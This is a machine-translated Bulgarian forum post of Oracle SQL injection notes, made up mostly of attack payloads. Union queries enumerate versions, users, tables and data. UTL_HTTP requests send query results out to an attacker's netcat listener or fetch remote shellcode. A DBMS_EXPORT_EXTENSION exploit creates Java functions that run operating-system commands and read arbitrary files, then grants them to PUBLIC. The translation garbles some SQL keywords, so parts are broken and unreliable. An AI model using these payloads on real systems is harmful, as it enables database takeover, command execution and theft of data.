Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 11931|Отговор: 0

[Безопасна комуникация] Оракул за бележки за SQL инжекции

[Копирай линк]
Публикувано в 24.01.2015 г. 12:58:17 ч. | | |
Този пост беше последно редактиран от test на 2015-1-24 13:01

Коментар: --
Изпълнението на множество изречения не се поддържа, а федеративните заявки се поддържат
Имената на бази данни, имената на таблиците и колоните са всички с главна буква.


Дължина(поле)
ascii(substr(поле, N, 1))


и (изберете count(*) от dual)>0 -- Определи дали е оракул или не

Ред по n--

и 1=2 обединение select null, null,.....,null от dual-- заменете null с N или 'N'

и 1=2 Union Select null, (SQL оператор) ,.....,null от dual -- промяна на (sql оператор) при 'N'

и (select count(*) от all_objects, където object_name='UTL_HTTP')>0 -- Определи дали UTL_HTTP се поддържа (IP адресът е известен)

и UTL_HTTP.request('http://LocalIP:port'|| (SQL изявление)) =1-- Дистанционно изпращане на съобщения към локално, локално слушане nc -vv -l -p 1234


SQL оператори
Изберете банер от sys.v_$version, където rownum=1 за заявка към версията на оракула
изберете член от v$logfile, където rownum=1 Направете заявка към пътя на лог файла (Windows или Linux)
изберете utl_inaddr.get_host_address от dual, за да направите заявка към IP адреса на слушането на базата данни
Изберете instance_name от v$instance, за да направите заявка към sid
изберете име от v$database Запитайте текущото име на базата данни
Изберете sys_context ('userenv','current_user') от потребителите на базата данни с двойна заявка
изберете * от session_roles, където rownum=1 за запитване на текущите потребителски права
изберете * от session_roles, където rownum=1 [и роля<>'първо име на разрешение']



изберете table_name от user_tables където rownum=1 Първият сегмент от таблицата на текущата база данни
изберете table_name||','|| tablespace_name от user_tables, където rownum=1 Първи сегмент от таблицата, база данни (за проверка може да не е v$database)
изберете table_name от user_tables, където rownum=1 и table_name<>'сегмент от първата таблица' Вторият сегмент от таблицата на текущата база данни

изберете column_name от user_tab_columns, където rownum=1 и table_name='Сегмент от таблицата' Първото поле, съответстващо на името на таблицата
изберете column_name от user_tab_columns, където rownum=1 и table_name='Сегмент от таблицата' и column_name<>'Първо поле' Второто поле, съответстващо на името на таблицата

Изберете поле от сегмент от таблицата, където rownum=1 нарушава съдържанието на първия ред
изберете поле от сегмент от таблицата, където rownum=1 и поле <> 'съдържание на първия ред' разкрива съдържанието на втория ред


Крос-библиотечна дейност
Изберете собственик от all_tables, където rownum=1 прави заявка за първото име на база данни
изберете owner от all_tables, където rownum=1 и owner<> "Първо име на базата данни", за да направите заявка към второто име на базата данни

изберете table_name от all_tables, където rownum=1 и owner='име на базата данни' Запитайте първото име на таблицата на съответната база данни
Изберете table_name от all_tables, където rownum=1 и owner='име на база данни' и table_name<>'име на първа таблица', за да се направи заявка към второто име на таблицата на съответната база данни

изберете column_name от all_tab_columns, където rownum=1 и owner='име на базата данни' и table_name='сегмент на таблицата' Първото поле, съответстващо на името на таблицата
изберете column_name от all_tab_columns, където rownum=1 и owner='име на база данни' и table_name='сегмент от таблица' и column_name<>'първо поле' Второто поле, съответстващо на името на таблицата

Изберете поле от базата данни. сегмент от таблицата, където rownum=1 нарушава съдържанието на първия ред
Изберете поле от базата данни. Сегментът на таблицата, където rownum=1 и полето <> 'First Line Content', нарушава съдържанието на втория ред





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); мулти-оператор END; --','SYS',0,'1',0)--

Ако 'е escaped, се използва chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Мулти-оператор || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Ако няколко изречения са твърде дълги, можете да запишете изявлението във файла на уебсайта и да използвате utl_http.request, за да го извлечете.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Създаване на JAVA пакет SecTest
runCMD се използва за изпълнение на системни команди
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНЕТЕ НЕЗАБАВНО "ОБЯВЕТЕ ПРАГМА AUTONOMOUS_TRANSACTION; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО'Създаване или замяна и компилиране на java изходен код, наречен "SecTest" като импорт java.io.*; public class SecTest extend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); възвръщаема сила; }catch(Изключение e){return e.toString(); }}}''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--

readFile се използва за четене на файла
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНЕТЕ НЕЗАБАВНО "ОБЯВЕТЕ ПРАГМА AUTONOMOUS_TRANSACTION; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО'Създаване или замяна и компилиране на java изходен код, наречен "SecTest" като импорт java.io.*; public class SecTest разширява Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); възвръщаема сила; }catch(Изключение e){return e.toString(); }}}''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--



Дайте Java разрешения
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''започнете dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ВСИЧКИ ФАЙЛОВЕ>>'''''''',''''''''екзекуция''''''''); край; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--



Създай функция
SecRunCMD функция
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''' създаване или замяна на функция SecRunCMD(p_cmd in varchar2) върни varchar2 като език java име''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--

Функция SecReadFile
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''create or replace функция SecReadFile(име на файл в varchar2) return varchar2 като език java име''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--



Дайте разрешение за изпълнение на публичната функция
SecRunCMD получава разрешения
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ НЕЗАБАВНО ИЗПЪЛНЕНИЕ НА "ГРАНТ НА ВСИЧКО В SecRunCMD за обществеността"; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--

SecReadFile
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ НЕЗАБАВНО ИЗПЪЛНЕНИЕ '''предоставяне на всичко в SecReadFile на обществеността'''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--



Открива дали функцията е създадена успешно
и (изберете count(*) от all_objects, където object_name='SECRUNCMD')>0--
и (select count(*) от all_objects, където object_name='SECREADFILE')>0--



Изпълни командата
и '1'<>(Select Sys. SecRunCMD ('Команда за изпълнение') от dual)--
и '1'<>(Select Sys. SecReadFile('физически адрес на файла') от dual)--
или
и 1=2 Обединен селективен нулев,...,системен систем. SecRunCMD('изпълнение на команда'),...,null от dual--
и 1=2 Обединен селективен нулев,...,системен систем. SecReadFile('физически адрес на файла'),...,null от dual--
или
и '1'<>(изберете UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЕ(REPLACE(SYS. SecRunCMD('Execute Command'),','' '),'\n','')) от dual)--
и '1'<>(изберете UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЕ(REPLACE(SYS. SecReadFile('File Physical Address'),',','','\n',' ')) от dual)--



Функция за изтриване
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО '''функция за пускане SecRunCMD'; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО '''функция за пускане SecReadFile''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--




Предишен:Мога ли да кандидатствам за умереност, какви условия са ми нужни?
Следващ:ORALCE получава името на хоста и IP адреса
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com